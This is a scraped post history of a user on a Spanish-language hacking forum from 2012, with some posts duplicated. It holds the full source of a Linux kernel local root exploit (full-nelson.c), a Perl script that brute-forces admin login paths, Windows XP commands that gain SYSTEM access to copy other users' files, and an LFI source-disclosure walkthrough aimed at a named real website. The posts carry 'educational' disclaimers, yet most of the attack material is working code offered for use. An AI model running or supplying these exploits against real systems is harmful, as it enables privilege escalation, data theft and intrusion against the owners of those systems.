Igual cambiar contraseñas y ese tipo de cosas es de lammer opino yo, este contenido es teoricamente educativo, no es por armar conflicto pero no creo q este bueno apelar a esas cosas
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
#322
Back-end / Re:[PHP Shell] Poison Shell 0.7
Junio 25, 2012, 11:41:35 PM
Muy buen aporte se agradece!
#323
Bugs y Exploits / Re:[Exploit] CMS Airdana SQL Injection
Junio 25, 2012, 04:46:39 PM
Buen aporte! ya casi nadie codea sus propias herramientas! felicitaciones!
#324
Hacking ShowOff / Re:Dork: Logs de Pishing, Facebook & MSN
Junio 25, 2012, 04:18:09 PM
Gracias por el dato!
#325
Dudas y pedidos generales / Re:Panel de administración
Junio 23, 2012, 05:08:58 PM
Aca tienes un Tuto que Arme para Explicar como Encontrar el AdminPanel Abrazo
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
HD_Breaker
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
HD_Breaker
#326
Bugs y Exploits / Como Encontrar el AdminPanel (Algunos Metodos)
Junio 23, 2012, 05:07:31 PM
Como Encontrar el AdminPanel
Dado a un post que lei me decidi a hacer estre breve tutorial,
Existen Varias Formas de Encontrar un AdminPanel, una muy buena es buscar dentro del archivo Robots.txt y ver si el directorio de Administracion se cuentra en el.
Ej
User-agent: *
Crawl-delay: 10
Disallow: /petition-tool/
Disallow: /?q=petition-tool/
Disallow: /*_escaped_fragment_
Disallow: /*_escaped_fragment_=/petition/
Disallow: /*_escaped_fragment_=/petitions/
Disallow: /petitions/!/petitions
Disallow: /?q=petitions/!/petitions/
Disallow: /petitions
Disallow: /search*
Disallow: /?q=search*
Disallow: /*.xml$
Disallow: /?q=ondcp/2013strategycomments
Disallow: /ondcp/2013strategycomments
Disallow: /admincp
User-agent: imo-google-robot-intelink
Disallow: /
Sitemap: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Aca como podemos ver dentro del contenido de robots.txt se cuentra la direccion del admin panel: /admincp
Otra Forma es Utilizar herramientas como Nikto q ademas de analizar los fallos del sitio en cuestion, tambien busca los directorios default de posible lectura, Nikto se utiliza con la siguiente sentencia desde la Shell
sudo ./Nikto.pl -h No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Esto realizara un analisis de todas las Vulnerabilidades y Directorios encontradas por Nikto
Otra Forma es Utilizando DirBuster:

Donde dice Target Url deberemos colocar el protocolo y el puerto al que se le realizara el BruteForce de los Directorios
y en donde dice File whit list of dir, colocaremos un "Diccionario" de Directorios, por ej "Directory-list-2.3-small.txt
y le damos en Start. Tambien podremos Utilizar Simplemente Google con una sentencia como esta:
inurl:/*admin*.php site:www.rondinerh.com.ar
site:"aca colocamos el sitio en el cual buscamos el AdminPanel"


Tambien se puede usar algun Script q busque el AdminPanel
Aca el Source de uno (El Source no es mio y esta codeado en Perl):
Código: perl
Renuncia: Este tutoria es con fines Educativos, Cualquier uso Indevido del mismo Corre bajo la entera responsabilidad del actor.
Dado a un post que lei me decidi a hacer estre breve tutorial,
Existen Varias Formas de Encontrar un AdminPanel, una muy buena es buscar dentro del archivo Robots.txt y ver si el directorio de Administracion se cuentra en el.
Ej
User-agent: *
Crawl-delay: 10
Disallow: /petition-tool/
Disallow: /?q=petition-tool/
Disallow: /*_escaped_fragment_
Disallow: /*_escaped_fragment_=/petition/
Disallow: /*_escaped_fragment_=/petitions/
Disallow: /petitions/!/petitions
Disallow: /?q=petitions/!/petitions/
Disallow: /petitions
Disallow: /search*
Disallow: /?q=search*
Disallow: /*.xml$
Disallow: /?q=ondcp/2013strategycomments
Disallow: /ondcp/2013strategycomments
Disallow: /admincp
User-agent: imo-google-robot-intelink
Disallow: /
Sitemap: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Aca como podemos ver dentro del contenido de robots.txt se cuentra la direccion del admin panel: /admincp
Otra Forma es Utilizar herramientas como Nikto q ademas de analizar los fallos del sitio en cuestion, tambien busca los directorios default de posible lectura, Nikto se utiliza con la siguiente sentencia desde la Shell
sudo ./Nikto.pl -h No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Esto realizara un analisis de todas las Vulnerabilidades y Directorios encontradas por Nikto
Otra Forma es Utilizando DirBuster:

Donde dice Target Url deberemos colocar el protocolo y el puerto al que se le realizara el BruteForce de los Directorios
y en donde dice File whit list of dir, colocaremos un "Diccionario" de Directorios, por ej "Directory-list-2.3-small.txt
y le damos en Start. Tambien podremos Utilizar Simplemente Google con una sentencia como esta:
inurl:/*admin*.php site:www.rondinerh.com.ar
site:"aca colocamos el sitio en el cual buscamos el AdminPanel"


Tambien se puede usar algun Script q busque el AdminPanel
Aca el Source de uno (El Source no es mio y esta codeado en Perl):
#!/usr/bin/perl
##
# By GlaDiaT0R
# Admin Control Panel Finder ___ Version 1
# Home: Darkgh0st.com
##
use HTTP::Request;
use LWP::UserAgent;
system('cls');
system('title Admin Control Panel Finder v1 final I[C]oded by Gladiator from H4ckCr3w.net');
print"\n";
print "-----------------------------------------------\n" ;
print "[*]--Admin Control Panel Finder v 1 --------[*]\n" ;
print "[*]-------------Coded By GlaDiaT0R----------[*]\n" ;
print "[*]-------------From Darkgh0st.com---------[*]\n" ;
print "[*]------------Greetz to Allah--------------[*]\n" ;
print "*******************************************\n" ;
print "\n";
print "~# enter site to scan\n* ex: www.domaine.com ou www.domaine.com/path\n-> ";
$site=<STDIN>;
chomp $site;
print "\n";
print "~ Enter coding language of the website \n* ex: asp, php, cfm\n-> ";
$code=<STDIN>;
chomp($code);
if ( $site !~ /^http:/ ) {
$site = 'http://' . $site;
}
if ( $site !~ /\/$/ ) {
$site = $site . '/';
}
print "\n";
print "->Le site: $site\n";
print "->Source du site: $code\n";
print "->Scan de l'admin control panel en cours...\n\n\n";
if($code eq "asp"){
@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp','admin/admin.asp',
'admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp','bb-admin/admin.asp',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',
'admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','admin/cp.asp','cp.asp',
'administrator/account.asp','administrator.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','administrator/login.asp',
'moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','admincp/login.asp','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','webadmin.asp','webadmin/index.asp',
'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp','adminLogin.asp',
'admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp','admin-login.html',
'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp','administrator/index.asp',
'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/index.asp','adm/index.asp',
'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp','siteadmin/login.html'
);
foreach $ways(@path1){
$final=$site.$ways;
my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);
if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
}
# -------------------------------------------------------
# -------------------test cfm ---------------------------|
# -------------------------------------------------------
if($code eq "cfm"){
@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.cfm','admin/account.cfm','admin/index.cfm','admin/login.cfm','admin/admin.cfm',
'admin_area/admin.cfm','admin_area/login.cfm','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.cfm','bb-admin/index.cfm','bb-admin/login.cfm','bb-admin/admin.cfm',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',
'admin/home.cfm','admin/controlpanel.cfm','admin.cfm','pages/admin/admin-login.cfm','admin/admin-login.cfm','admin-login.cfm','admin/cp.cfm','cp.cfm',
'administrator/account.cfm','administrator.cfm','login.cfm','modelsearch/login.cfm','moderator.cfm','moderator/login.cfm','administrator/login.cfm',
'moderator/admin.cfm','controlpanel.cfm','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.cfm','user.html','admincp/index.cfm','admincp/login.cfm','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.cfm','admin/account.cfm','adminpanel.cfm','webadmin.cfm','webadmin/index.cfm',
'webadmin/admin.cfm','webadmin/login.cfm','admin/admin_login.cfm','admin_login.cfm','panel-administracion/login.cfm','adminLogin.cfm',
'admin/adminLogin.cfm','home.cfm','admin.cfm','adminarea/index.cfm','adminarea/admin.cfm','adminarea/login.cfm','admin-login.html',
'panel-administracion/index.cfm','panel-administracion/admin.cfm','modelsearch/index.cfm','modelsearch/admin.cfm','administrator/index.cfm',
'admincontrol/login.cfm','adm/admloginuser.cfm','admloginuser.cfm','admin2.cfm','admin2/login.cfm','admin2/index.cfm','adm/index.cfm',
'adm.cfm','affiliate.cfm','adm_auth.cfm','memberadmin.cfm','administratorlogin.cfm','siteadmin/login.cfm','siteadmin/index.cfm','siteadmin/login.html'
);
foreach $ways(@path1){
$final=$site.$ways;
my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);
if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
}
# -------------------------------------------------------
#--------------------------/test-------------------------|
# -------------------------------------------------------
if($code eq "php"){
@path2=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html',
'admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',
'admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php',
'administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php',
'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html',
'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html',
'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',
'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',
'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html',
'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php',
'adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php',
'modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php',
'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php'
);
foreach $ways(@path2){
$final=$site.$ways;
my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);
if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
kill("STOP",NULL);
}
##
# By GlaDiaT0R
##
Renuncia: Este tutoria es con fines Educativos, Cualquier uso Indevido del mismo Corre bajo la entera responsabilidad del actor.
#327
Dudas y pedidos generales / Re:donde probar sql,xss, etc
Junio 23, 2012, 04:41:38 PM
Por Supuesto q las ahi querido amigo!!! podrias utilizar alguna virtualbox con un sistema vulnerable por ej Sauron de Dragon Jar, o DVWA
aca la web: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Abrazo!
aca la web: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Abrazo!
#328
Windows / Re:Escalar Privilegios Localmente desde CMD Windows XP
Junio 23, 2012, 04:31:59 PM
Como dice el Post eso es una forma de evitar el fallo, si estubieramos con un usuario limitado primero deberiamos aplicar algun metodo para poder subir nuestros privilegios, tanto con un keylogger, Metasploit, etc.
#329
Bugs y Exploits / Re:r00t Expl0it [Casi Todos Los 2011]
Junio 23, 2012, 04:28:32 AM
JAJAJJAJAJ Recordé leer por el foro un coment que decía No ahí lugar para Cursilerias en el Underground Abrazo me fui a dormir!
#330
Bugs y Exploits / Re:r00t Expl0it [Casi Todos Los 2011]
Junio 23, 2012, 04:20:52 AM
Antes q nada, no olvidar que todos somos parte de Underc0de y brindamos nuestro conocimiento tanto como nos nutrimos del de los demás, todos podemos tener errores, considero q el aporte de No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta es de conflagración de un exploit que estando adaptado puede tener algún fallo, la idea de remarcar el error es q todos aprendamos donde esta y cual es la forma de corregirlo, no humillar...
#331
Bugs y Exploits / Re:Full Source Disclosure by HD_Breaker
Junio 23, 2012, 03:57:16 AM
Gracias por dar esa informacion, realmente no se si su nombre correcto sea Full Source Disclosure en el momento (ya hace algunos años atras) q lo aprendi lo aprendi bajo ese nombre.
#332
Windows / Escalar Privilegios Localmente desde CMD Windows XP
Junio 23, 2012, 01:03:21 AM
Escalar Privilegios Localmente desde CMD Windows XP
Esto funciona en un entorno donde multiples Usuarios Utilizan el mismo pc y nosotros poseemos acceso a uno de ellos
Me decidi a Postiarlo aunq seguramente Muchos ya lo conocen porq no lo encontre en la seccion Windows.
Empecemos:
Abrimos cmd.exe y ejecutamos el siguiente codigo
at "time" /interactive cmd.exe
Este comando crea un proceso q se ejecutara a cierta hora,
el fallo esta en q el paramentro /interactive ejecuta el proceso con permisos de System
luego con el comando Time podremos setear la hora del reloj a la q establecimos previamente Ej:
at 00:33 /interactive cmd.exe

Ahora seteamos el clock a 00:33
Time 21:33

vemos como una consola aparece corriendo como System,
ahora lo entretenido cerraremos explorer.exe del usuario anterior y lo abriremos como System
taskkill /IM explorer.exe
explorer.exe

Vemos como Ahora podemos explorar de forma grafica el Disco Siendo System, esto nos permite
ir a X:\Document and Settings y entrar en la carpeta de Cualquier Usuario (de otra forma estariamos limitados a nuestra Carpeta Personal)
y copiar informacion sensible q necesitemos



Renuncia: El contenido de este Tutorial es puramente educativo, y todo uso mal intencionado correra bajo la responsabilidad del actor
PD: Es una tecnica muy vieja pero hasta el dia de hoy existen empresas con este fallo, poniendo en compromiso la informacion de sus usuarios.
Existen Diferentes Metodos para evitar este fallo, el mas comun es limitar el uso de los comandos at y time a usuarios de mayor privilegio.
Esto funciona en un entorno donde multiples Usuarios Utilizan el mismo pc y nosotros poseemos acceso a uno de ellos
Me decidi a Postiarlo aunq seguramente Muchos ya lo conocen porq no lo encontre en la seccion Windows.
Empecemos:
Abrimos cmd.exe y ejecutamos el siguiente codigo
at "time" /interactive cmd.exe
Este comando crea un proceso q se ejecutara a cierta hora,
el fallo esta en q el paramentro /interactive ejecuta el proceso con permisos de System
luego con el comando Time podremos setear la hora del reloj a la q establecimos previamente Ej:
at 00:33 /interactive cmd.exe

Ahora seteamos el clock a 00:33
Time 21:33

vemos como una consola aparece corriendo como System,
ahora lo entretenido cerraremos explorer.exe del usuario anterior y lo abriremos como System
taskkill /IM explorer.exe
explorer.exe

Vemos como Ahora podemos explorar de forma grafica el Disco Siendo System, esto nos permite
ir a X:\Document and Settings y entrar en la carpeta de Cualquier Usuario (de otra forma estariamos limitados a nuestra Carpeta Personal)
y copiar informacion sensible q necesitemos



Renuncia: El contenido de este Tutorial es puramente educativo, y todo uso mal intencionado correra bajo la responsabilidad del actor
PD: Es una tecnica muy vieja pero hasta el dia de hoy existen empresas con este fallo, poniendo en compromiso la informacion de sus usuarios.
Existen Diferentes Metodos para evitar este fallo, el mas comun es limitar el uso de los comandos at y time a usuarios de mayor privilegio.
#333
Bugs y Exploits / Nelson.c Local Root Linux Kernel <= 2.6.37
Junio 22, 2012, 10:10:00 PM
Navegando en mi pc, encontre un Source de un exploit q da root de manera locan en Linux Kernel <= 2.6.37 como no vi nada publicado me decidi a postearlo (esta probado por mi)
Aca el Source:
Código: text
HD_Breaker
Aca el Source:
/*
* Linux Kernel <= 2.6.37 local privilege escalation
* by Dan Rosenberg
* @djrbliss on twitter
*
* Usage:
* gcc full-nelson.c -o full-nelson
* ./full-nelson
*
* This exploit leverages three vulnerabilities to get root, all of which were
* discovered by Nelson Elhage:
*
* CVE-2010-4258
* -------------
* This is the interesting one, and the reason I wrote this exploit. If a
* thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
* word will be written to a user-specified pointer when that thread exits.
* This write is done using put_user(), which ensures the provided destination
* resides in valid userspace by invoking access_ok(). However, Nelson
* discovered that when the kernel performs an address limit override via
* set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
* etc.), this override is not reverted before calling put_user() in the exit
* path, allowing a user to write a NULL word to an arbitrary kernel address.
* Note that this issue requires an additional vulnerability to trigger.
*
* CVE-2010-3849
* -------------
* This is a NULL pointer dereference in the Econet protocol. By itself, it's
* fairly benign as a local denial-of-service. It's a perfect candidate to
* trigger the above issue, since it's reachable via sock_no_sendpage(), which
* subsequently calls sendmsg under KERNEL_DS.
*
* CVE-2010-3850
* -------------
* I wouldn't be able to reach the NULL pointer dereference and trigger the
* OOPS if users weren't able to assign Econet addresses to arbitrary
* interfaces due to a missing capabilities check.
*
* In the interest of public safety, this exploit was specifically designed to
* be limited:
*
* * The particular symbols I resolve are not exported on Slackware or Debian
* * Red Hat does not support Econet by default
* * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
* Debian
*
* However, the important issue, CVE-2010-4258, affects everyone, and it would
* be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
* more sophisticated version of this that doesn't have the roadblocks I put in
* to prevent abuse by script kiddies.
*
* Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
*
* NOTE: the exploit process will deadlock and stay in a zombie state after you
* exit your root shell because the Econet thread OOPSes while holding the
* Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother.
*
* Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
*/
#include <stdio.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <net/if.h>
#include <sched.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>
/* How many bytes should we clear in our
* function pointer to put it into userspace? */
#ifdef __x86_64__
#define SHIFT 24
#define OFFSET 3
#else
#define SHIFT 8
#define OFFSET 1
#endif
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" :
"");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
static int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
/* Why do I do this? Because on x86-64, the address of
* commit_creds and prepare_kernel_cred are loaded relative
* to rip, which means I can't just copy the above payload
* into my landing area. */
void __attribute__((regparm(3)))
trampoline()
{
#ifdef __x86_64__
asm("mov $getroot, %rax; call *%rax;");
#else
asm("mov $getroot, %eax; call *%eax;");
#endif
}
/* Triggers a NULL pointer dereference in econet_sendmsg
* via sock_no_sendpage, so it's under KERNEL_DS */
int trigger(int * fildes)
{
int ret;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
if(ret < 0) {
printf("[*] Failed to set Econet address.\n");
return -1;
}
splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
/* Shouldn't get here... */
exit(0);
}
int main(int argc, char * argv[])
{
unsigned long econet_ops, econet_ioctl, target, landing;
int fildes[4], pid;
void * newstack, * payload;
/* Create file descriptors now so there are two
references to them after cloning...otherwise
the child will never return because it
deadlocks when trying to unlock various
mutexes after OOPSing */
pipe(fildes);
fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
fildes[3] = open("/dev/zero", O_RDONLY);
if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
printf("[*] Failed to open file descriptors.\n");
return -1;
}
/* Resolve addresses of relevant symbols */
printf("[*] Resolving kernel addresses...\n");
econet_ioctl = get_kernel_sym("econet_ioctl");
econet_ops = get_kernel_sym("econet_ops");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}
if(!(newstack = malloc(65536))) {
printf("[*] Failed to allocate memory.\n");
return -1;
}
printf("[*] Calculating target...\n");
target = econet_ops + 10 * sizeof(void *) - OFFSET;
/* Clear the higher bits */
landing = econet_ioctl << SHIFT >> SHIFT;
payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if ((long)payload == -1) {
printf("[*] Failed to mmap() at target address.\n");
return -1;
}
memcpy((void *)landing, &trampoline, 1024);
clone((int (*)(void *))trigger,
(void *)((unsigned long)newstack + 65536),
CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
&fildes, NULL, NULL, target);
sleep(1);
printf("[*] Triggering payload...\n");
ioctl(fildes[2], 0, NULL);
if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}
printf("[*] Got root!\n");
execl("/bin/sh", "/bin/sh", NULL);
}
HD_Breaker
#334
Hacking / Re:Ataque Man in the Middle Remotamente
Junio 22, 2012, 09:57:23 PM
Gracias por su apoyo! seguire posteando tutos! abrazo a toda la Familia de Underc0de
#335
Bugs y Exploits / Re:Subir Shell a través de Inyección SSI (Server-side include)
Junio 22, 2012, 03:43:57 PM
Muy Bien Explicado!
#336
Bugs y Exploits / Full Source Disclosure by HD_Breaker
Junio 22, 2012, 02:33:24 PM
Full Source Disclosure
Para realizar este tutorial necesitamos enteder el concepto de LFI (Local File Inclution)
LFI es un error de programacion en php bastante comun donde se permite incluir dentro del codigo php
de la web afectada, el codigo de otra q este en el mismo Dominio. EJ
Include.php
<?php
$pagina = $_GET['pagina'];
include($pagina);
?>
En este Breve surce se describe una falla LFI en el Parametro $pagina donde se puede llamar al contenido de otra pagina
y posterior mente incluirla en su source atraves de include().
como se puede ver este parametro se puede llamar desde la url, de la siguiente manera.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
esto incluiria el contenido del archivo passwd y lo haria visible dentro de la pagina Include.php
El Full Source Disclosure funciona de forma similar ya que incluiremos un archivo dentro de una pagina php de descarga,
y de esta forma analisaremos detalladamente el source en nuestra pc buscando informacion sensible
Un Dork Comun para buscar una web vulnerable es:
inurl:download.php?file=* site:.com.ar
Buscamos un objetivo y probamos si es vulnerable, en mi caso elegi:
www.latinrisk.com.ar/download.php?file=doc/brochure-esp-final.pdf

copiamos la url y sustituimos el archivo brochure-esp-final.pdf por download.php
www.latinrisk.com.ar/download.php?file=download.php

y vemos como download.php es descargado a nuestro disco duro, analisemos su contenido

Como Podremos Distingir esta la clasica falla LFI en su Source
$file = basename($_GET['file']);
Esto es lo q nos va a permitir llevar a cabo nuestro ataque. Proseguimos
Dado que podemos descargar contenido al q no tenemos acceso desde, nuestro querido download.php?file=
empesaremos a descargar paginas con contenido importante, Ej.
Descargaremos el archivo index.php y analizaremos su contenido


Como podremos Apreciar dentro del source de index.php encontraremos el archivo de configuracion inc_loader.php
<? include ('inc_loader.php'); ?>
Descargemoslo y analisemos el Source!


Como Podremos ver en el Source encontraremos incluidas varios Archivos de Configuracion.
include('inc/connect.php');
include('inc/func_std.php');
include('inc/sanitize.php');
include('inc_variables.php');
